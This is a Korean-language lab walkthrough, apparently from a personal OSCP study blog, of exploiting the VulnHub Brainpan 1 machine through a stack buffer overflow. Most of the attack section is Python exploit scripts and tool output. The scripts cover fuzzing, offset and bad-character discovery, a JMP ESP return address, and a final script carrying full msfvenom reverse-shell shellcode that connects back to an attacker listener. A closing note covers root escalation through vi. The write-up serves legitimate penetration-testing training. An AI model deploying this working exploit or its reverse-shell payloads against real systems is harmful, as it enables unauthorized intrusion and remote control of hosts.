https://www.vulnhub.com/entry/brainpan-1,51/

 

 

OSCP 시험에서 BOF 문제의 경우

원리와 흐름만 잘 이해하고 있으면

어렵지 않게 풀 수 있다.

 

 


 

 

1. Reconnaissance

 

1) Nmap Scanning :

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ sudo nmap -sC -sV -O 10.0.2.15             
sudo: unable to resolve host t4kud4ddy: Name or service not known
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-21 21:28 EDT
Nmap scan report for 10.0.2.15
Host is up (0.00029s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=10/21%Time=617213DA%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
................SNIP......................

 

9999. 10000번 포트만 열려있는 상황

 

 

 

2) Dirb Scanning :

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ dirb http://10.0.2.15:10000

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Oct 21 21:33:09 2021
URL_BASE: http://10.0.2.15:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.0.2.15:10000/ ----
+ http://10.0.2.15:10000/bin (CODE:301|SIZE:0)                                                         
+ http://10.0.2.15:10000/index.html (CODE:200|SIZE:215)                                                
                                                                                                       
-----------------
END_TIME: Thu Oct 21 21:33:12 2021
DOWNLOADED: 4612 - FOUND: 2

 

/bin 경로를 발견, 접속해 보니

확장자가 exe인 파일이 있다.

 

 

3) 파일을 내려받은 뒤 정보를 확인해 보면,

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ file brainpan.exe                                                                               1 ⨯
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                        
┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ exiftool brainpan.exe
ExifTool Version Number         : 12.16
File Name                       : brainpan.exe
Directory                       : .
File Size                       : 21 KiB
File Modification Date/Time     : 2021:10:21 21:15:05-04:00
File Access Date/Time           : 2021:10:21 21:15:37-04:00
File Inode Change Date/Time     : 2021:10:21 21:15:05-04:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2013:03:04 10:21:12-05:00
Image File Characteristics      : No relocs, Executable, No line numbers, 32-bit, No debug
PE Type                         : PE32
Linker Version                  : 2.56
Code Size                       : 3584
Initialized Data Size           : 6656
Uninitialized Data Size         : 512
Entry Point                     : 0x1280
OS Version                      : 4.0
Image Version                   : 1.0
Subsystem Version               : 4.0
Subsystem                       : Windows command line
Warning                         : Error processing PE data dictionary
                                                                                                        
┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ strings brainpan.exe | grep strcp
strcpy
_strcpy
__imp__strcpy

 

윈도우 32비트 실행 파일이며

파일 내에 strcpy 함수가 있는 것으로 보아

BOF 유형의 문제인 것을 유추해 볼 수 있다.

 

 

 

4) 파일 실행

wine으로 해당 파일을 실행시켜도 되며

($ wine brainpan.exe)

디버거에 올려 실행시켜도 되는데

어느 경우던 9999번 포트에 바인딩 되는 것을

확인할 수 있으며

붙어보면 다음과 같다.

BOF 공격을 통해 PASSWORD를 찾아낸 뒤

타깃 서버의 9999번 포트로 붙으면 된다.

 

 


 

 

2. BOF Attack

 

1) Offset 찾기

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat fuzzer_step1.py                                                                           130 ⨯
#step1_fuzzer.py                                                                 

#!/usr/bin/python
import socket
import time
import sys

size = 1000

while(size < 1000000):
  try:
    print "\nSending evil buffer with %s bytes" % size

    inputBuffer = "A" * size

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    size += 1000
    time.sleep(1)
  
  except:
    print "\nCould not connect!"
    sys.exit()

 

A라는 버퍼를 1000 바이트 단위로 보낸다.

(특정 부분에서 멈추도록 하는 부분은

별도로 구현하지 않았다)

 

스크립트를 실행시키면,

1003 바이트 지점에서 멈추는 것을 확인,

이를 기반으로 정확한 offset 값을 확인해 보면 된다.

 

 

 

2) EIP 컨트롤

msf-pattern_create 명령어를 통해

특정 크기의 패턴을 만들어 보다 정확한

offset 값을 확인한다.

 

1003 바이트 지점을 우선 확인했으니

넉넉히 1100 바이트 크기의 패턴을 생성,

해당 패턴을 넣은 스크립트를 실행시킨 뒤

Offset 값을 확인하면 된다.

 

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat step2_input_buffer.py 
#step2_Input_buffer.py 
# msf-pattern_create -l 1100  # -l : length of parameter


#!/usr/bin/python
import socket

try:
    print "\nSending evil buffer... " 
    inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk"
    
    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

실행시켜보면

EIP가 35724134로 채워졌고 이를

msf-pattern_offset 명령어를 이용해

확인해 보면

offset은 524.

 

이번에는

524 바이트를 A로 채우고

나머지를 B와 C로 채워

offset이 정확한지, EIP에

B가 채워지는지 확인한다.

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat step3_EIP_check.py   
#step3_EIP_check.py   

#!/usr/bin/python
import socket

try:
    print "\nSending evil buffer... " 

    filler = "A" * 524
    EIP = "B" * 4
    buffer = "C" * 12

    inputBuffer = filler + EIP + buffer

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

스크립트를 실행시키면

 

의도한 대로 EIP가 B(42)로 채워졌고

EIP와 ESP 사이에 더미 공간이 없는 것 또한

확인했다.

 

이로써 offset 값은 524가 맞다.

 

 

 

3) ESP 공간 확인

보통 쉘 코드 크기가 300~500인 것을 감안해

ESP에 쉘을 띄울 충분한 공간이 있는지 확인한다.

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat step4_ESP_Space.py 
#step4_ESP_space.py

#!/usr/bin/python
import socket

try:
    print "\nSending evil buffer... " 

    filler = "A" * 524
    EIP = "B" * 4
    buffer = "C" * 500

    inputBuffer = filler + EIP + buffer

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!

 

ESP 영역에 C를 500바이트 보내는

스크립트를 실행시켜보면

 

다음으로

ESP 시작 주소와 끝 주소를 확인해

두 주소 사이 값을 체크한다.

 

468바이트만큼의 공간이 있는 것으로

확인되었고 쉘을 띄우기에 충분해 보인다.

 

 

4) Bad character 확인

본 작업의 목적은 쉘 코드 생성 시

사용하면 안 되는 x00등의 character가 사용되므로

정상적인 쉘 실행이 안 되는 것을

방지하기 위해서이다.

 

방법은 모든 캐릭터를 넣어 보내

찾으면 된다.

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat step5_bad_char.py 
#step5_Bad_char.py 

#!/usr/bin/python
import socket

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

try:
    print "\nSending evil buffer... " 

    Filler = "A" * 524 
    EIP = "B" * 4
    buffer = "C" * 500 

    inputBuffer = Filler + EIP + badchars

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

스크립트를 실행 후

ESP 자리에서 우 클릭 > Follow in Dump 클릭

입력된 데이터를 살펴보고 이어지지 않고

끊기는 지점을 확인하면 된다.

 

bad character는 x00, x90 외에 없다.

 

 

5) JMP ESP 주소 확인

EIP를 통제할 수 있는 점을 활용해

EIP에 ESP로 점프시킬 주소를

넣어준다.

 

JMP ESP의 주솟값을 확인한다.

 

모나 모듈로 주솟값을 확인해 보면

!mona find -s "\xFF\xE4" -m "module.exe"

311712F3 임을 알 수 있고

해당 주소로 이동해 보면

 

맞다.

 

해당 주소에 브레이크를 걸고

EIP를 JMP ESP 주소로 채워

정상적으로 ESP로 이동이 가능한지 확인한다.

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat step6_JMP_ESP.py 
#step6_JMP_ESP.py 

#!/usr/bin/python
import socket

try:
    print "\nSending evil buffer... " 

    Filler = "A" * 524
    EIP = "\xF3\x12\x17\x31" 
    Buffer = "C" * (1100 - len(Filler) - len(EIP)) 

    inputBuffer = Filler + EIP + Buffer

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

스크립트를 실행시켜보면

의도한 대로

EIP가 ESP 주소로 입력되어

ESP 주소에 띄울 쉘이 정상적으로

작동할 수 있게 되었다.

 

 

6) payload 생성 및 공격 시도

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.4 LPORT=443 -f c -b "\x00\x90" EXITFUNC=thread
....SNIP...

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat step7_attack.py 
#step7_Payload.py 
#!/usr/bin/python
import socket

ShellCode = (
"\xd9\xc3\xd9\x74\x24\xf4\x5f\x29\xc9\xb8\x5f\x2d\x42\xf3\xb1"
....SNIP.....
"\x8d\x62\xd2\xe8\x0d\x86\xab\x0e\x0d\xe3\xae\x4b\x89\x18\xc3"
"\xc4\x7c\x1e\x70\xe4\x54")

try:
    print "\nSending evil Buffer...."
    
    Filler = "A" * 524
    EIP = "\xF3\x12\x17\x31" 
    NOP = "\x90" * 10

    inputBuffer = Filler + EIP + NOP + ShellCode

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

리스너를 기동 후 스크립트를 실행하면

 

공격에 성공해 정상적으로 접속에 성공했다.

이제 타깃 서버에 공격을 수행해 본다.

 

 


 

3. EXPLOITATION

 

1) 공격

 

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat attack.py      
#step7_Payload.py 
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.160 LPORT=443 -f c -b "\x00\x51" EXITFUNC=thread

#!/usr/bin/python
import socket

ShellCode = (
"\xd9\xc3\xd9\x74\x24\xf4\x5f\x29\xc9\xb8\x5f\x2d\x42\xf3\xb1"
"\x52\x31\x47\x17\x83\xc7\x04\x03\x18\x3e\xa0\x06\x5a\xa8\xa6"
"\xe9\xa2\x29\xc7\x60\x47\x18\xc7\x17\x0c\x0b\xf7\x5c\x40\xa0"
"\x7c\x30\x70\x33\xf0\x9d\x77\xf4\xbf\xfb\xb6\x05\x93\x38\xd9"
"\x85\xee\x6c\x39\xb7\x20\x61\x38\xf0\x5d\x88\x68\xa9\x2a\x3f"
"\x9c\xde\x67\xfc\x17\xac\x66\x84\xc4\x65\x88\xa5\x5b\xfd\xd3"
"\x65\x5a\xd2\x6f\x2c\x44\x37\x55\xe6\xff\x83\x21\xf9\x29\xda"
"\xca\x56\x14\xd2\x38\xa6\x51\xd5\xa2\xdd\xab\x25\x5e\xe6\x68"
"\x57\x84\x63\x6a\xff\x4f\xd3\x56\x01\x83\x82\x1d\x0d\x68\xc0"
"\x79\x12\x6f\x05\xf2\x2e\xe4\xa8\xd4\xa6\xbe\x8e\xf0\xe3\x65"
"\xae\xa1\x49\xcb\xcf\xb1\x31\xb4\x75\xba\xdc\xa1\x07\xe1\x88"
"\x06\x2a\x19\x49\x01\x3d\x6a\x7b\x8e\x95\xe4\x37\x47\x30\xf3"
"\x38\x72\x84\x6b\xc7\x7d\xf5\xa2\x0c\x29\xa5\xdc\xa5\x52\x2e"
"\x1c\x49\x87\xe1\x4c\xe5\x78\x42\x3c\x45\x29\x2a\x56\x4a\x16"
"\x4a\x59\x80\x3f\xe1\xa0\x43\x4a\xf6\xa8\x97\x22\xf4\xac\x96"
"\x09\x71\x4a\xf2\x7d\xd4\xc5\x6b\xe7\x7d\x9d\x0a\xe8\xab\xd8"
"\x0d\x62\x58\x1d\xc3\x83\x15\x0d\xb4\x63\x60\x6f\x13\x7b\x5e"
"\x07\xff\xee\x05\xd7\x76\x13\x92\x80\xdf\xe5\xeb\x44\xf2\x5c"
"\x42\x7a\x0f\x38\xad\x3e\xd4\xf9\x30\xbf\x99\x46\x17\xaf\x67"
"\x46\x13\x9b\x37\x11\xcd\x75\xfe\xcb\xbf\x2f\xa8\xa0\x69\xa7"
"\x2d\x8b\xa9\xb1\x31\xc6\x5f\x5d\x83\xbf\x19\x62\x2c\x28\xae"
"\x1b\x50\xc8\x51\xf6\xd0\xe8\xb3\xd2\x2c\x81\x6d\xb7\x8c\xcc"
"\x8d\x62\xd2\xe8\x0d\x86\xab\x0e\x0d\xe3\xae\x4b\x89\x18\xc3"
"\xc4\x7c\x1e\x70\xe4\x54")

try:
    print "\nSending evil Buffer...."
    
    Filler = "A" * 524
    EIP = "\xF3\x12\x17\x31" 
    NOP = "\x90" * 10

    inputBuffer = Filler + EIP + NOP + ShellCode

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.2.15", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

리스너를 기동 후 스크립트를 실행하면

 

puck 유저로 침투에 성공했다.

 

 

여기서 문제가 발생,

윈도우 서버인 줄 알고 payload를 윈도우로 짰는데

알고 보니 리눅스 서버인 것.

 

 

다시 payload 작성 + 스크립트 수정 후

재전송해 본다.

 

payload 생성 :

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ msfvenom -p linux/x86/shell_reverse_tcp -b "\x00\x90" LHOST=10.0.2.4 LPORT=443 -f c      
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] = 
"\xdb\xc6\xd9\x74\x24\xf4\x5d\xb8\x5a\x51\xd3\xba\x2b\xc9\xb1"
"\x12\x31\x45\x17\x03\x45\x17\x83\x9f\x55\x31\x4f\x2e\x8d\x42"
"\x53\x03\x72\xfe\xfe\xa1\xfd\xe1\x4f\xc3\x30\x61\x3c\x52\x7b"
"\x5d\x8e\xe4\x32\xdb\xe9\x8c\xce\x1b\x08\x48\xa7\x19\x0c\x51"
"\x8c\x97\xed\xe1\x94\xf7\xbc\x52\xea\xfb\xb7\xb5\xc1\x7c\x95"
"\x5d\xb4\x53\x69\xf5\x20\x83\xa2\x67\xd8\x52\x5f\x35\x49\xec"
"\x41\x09\x66\x23\x01";

 

 

공격 스크립트 수정

┌──(takudaddy㉿t4kud4ddy)-[~/bof]
└─$ cat attack.py
#!/usr/bin/python
import socket

shellcode = ("\xdb\xc6\xd9\x74\x24\xf4\x5d\xb8\x5a\x51\xd3\xba\x2b\xc9\xb1"
"\x12\x31\x45\x17\x03\x45\x17\x83\x9f\x55\x31\x4f\x2e\x8d\x42"
"\x53\x03\x72\xfe\xfe\xa1\xfd\xe1\x4f\xc3\x30\x61\x3c\x52\x7b"
"\x5d\x8e\xe4\x32\xdb\xe9\x8c\xce\x1b\x08\x48\xa7\x19\x0c\x51"
"\x8c\x97\xed\xe1\x94\xf7\xbc\x52\xea\xfb\xb7\xb5\xc1\x7c\x95"
"\x5d\xb4\x53\x69\xf5\x20\x83\xa2\x67\xd8\x52\x5f\x35\x49\xec"
"\x41\x09\x66\x23\x01")


try:
    print "\nSending evil Buffer...."
    
    Filler = "A" * 524
    EIP = "\xF3\x12\x17\x31" 
    NOP = "\x90" * 10

    inputBuffer = Filler + EIP + NOP + shellcode

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.2.15", 9999))
    s.send(inputBuffer)
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

다시 리스너 기동 후 공격을 시도하면

 

침투 성공!

 


 

 

4. PRIVILEGE ESCALATION

 

root 권한으로 위 명령어를 실행할 수 있고

실행해 보면

 

3 가지 실행시킬 수 있는 리스트가 나오며

마지막 manual을 활용해 vi 편집기의 bash 명령어를 사용하면

 

권한 탈취에 성공

 

728x90
반응형

'OSCP > Vulnahub' 카테고리의 다른 글

36. Mr-Robot (sort | uniq)  (2) 2021.11.11
35. PWNLAB - 파일 업로드 경로 변조  (0) 2021.11.10
33. OSCP  (0) 2021.07.13
32. Glasgow Smile  (0) 2021.04.14
31. Photographer  (0) 2021.04.14

+ Recent posts